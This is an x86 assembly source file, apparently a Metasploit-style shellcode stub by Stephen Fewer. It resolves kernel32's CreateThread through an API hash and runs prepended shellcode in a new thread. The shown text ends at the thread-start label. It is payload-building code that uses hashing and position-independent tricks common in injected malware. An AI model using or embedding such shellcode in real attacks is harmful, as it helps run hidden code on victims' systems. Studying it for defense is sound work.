;-----------------------------------------------------------------------------; ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (14 July 2010) ; Size: 167 ; Build: >build.py createthread ;-----------------------------------------------------------------------------; [BITS 32] [ORG 0] cld call start delta: %include "./src/block/block_api.asm" start: pop ebp ; pop off the address of 'api_call' for calling later. xor eax, eax push eax push eax push eax lea ebx, [ebp+threadstart-delta] push ebx push eax push eax push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) call ebp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL ); ret threadstart: pop eax ; pop off the unused thread param so the prepended shellcode can just return when done.